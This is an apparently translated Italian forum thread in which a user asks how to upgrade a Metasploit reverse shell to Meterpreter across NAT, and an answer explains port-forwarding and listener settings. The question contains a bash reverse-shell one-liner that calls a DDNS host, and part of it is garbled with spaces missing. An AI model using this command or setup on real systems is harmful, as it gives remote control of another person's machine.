Aggiorna shell a meterpreter dietro NAT

3

Ho giocato con Metasploit la scorsa settimana e sono riuscito a ottenere una shell di base della vittima su Internet. Al momento ho:

  • Crea un DDNS che punta al mio IP pubblico
  • Configura il port forwarding per tutte le porte importanti che uso (6680, 4433)
  • Testato il setup (DDNS e ogni porta) accedendo al server temporaneo ospitato sulla macchina del mio aggressore

Questa immagine da il blog di Corelan riassume la mia situazione molto bene:

Maquandoprovoadaggiornarelashellameterpreter,tramitequestocomandosessions-u1omanualmenteusandoilmodulopost/multi/manage/shell_to_meterpreter,lashellnonriesceadaggiornare.

NonriesceacollegarsialDDNS/IPpubblicoperovvimotiviesicollegaallamiaretelocaleIPoindirizzodiloopbackperimpostazionepredefinita.Funzionasenzaproblemiquandosialamacchinaattaccantechequelladidestinazionesitrovanosullastessarete,mafallisconosempresuInternet.

Nonriescoproprioacapirecomefarlofunzionare.

Altridettagli:

  • Sial'attaccantecheicomputerdidestinazionesonoMacBookconOSX10.10x64Yosemite
  • Entrambelemacchinesonosureticompletamentediverse,ciascunadietrounroutereunISPdiverso
  • UsodiMetasploitversionev4.11.4-dev-8a5e45b1
  • Usodelpayloadosx/x64/shell_reverse_tcp
  • Esecuzionediquestocomandosulcomputerdidestinazioneperriconnettersiall'attaccante:

    bash-c"bash -i >& /dev/tcp/my.ddns.host/6680 0>&1 2>&1" 
    
posta Sheharyar 24.09.2015 - 03:34
fonte

1 risposta

2

I commenti sulla tua domanda sembrano essere piuttosto fuorvianti o quasi irrilevanti. Li ignorerei se fossi in te!

Ricorda che l'aggiornamento della sessione richiede l'instaurazione di una nuova sessione di comunicazione, non si limita a occupare il socket esistente.

Sembra il classico scenario di associazione all'host o alla porta sbagliati. Affinché l'aggiornamento funzioni nello scenario che descrivi, il firewall deve inoltrare la porta 4433 alla macchina che attacca. In caso contrario, semplicemente non otterrai la connessione inversa.

Se il firewall è stato configurato in modo tale che la porta di inoltro non è uguale a quella a cui si sta vincolando, è necessario fare un altro passo. Ad esempio, se il firewall è configurato per l'inoltro della porta 443 sulla porta 4433 , allora è necessario:

  • set LPORT 443 : indica a Meterpreter di richiamare sulla porta 443 .
  • set ReverseListenerBindPort 4433 : indica a Metasploit di eseguire il binding sulla porta 4433 anziché 443 .

Se non hai un listener persistente per la tua shell iniziale, puoi persino riutilizzare la stessa porta.

Dato che stai utilizzando porte non standard, potrebbe essere il firewall remoto a bloccare anche il traffico in uscita.

Spero che questo aiuti.

    
risposta data 28.10.2015 - 07:10
fonte

Leggi altre domande sui tag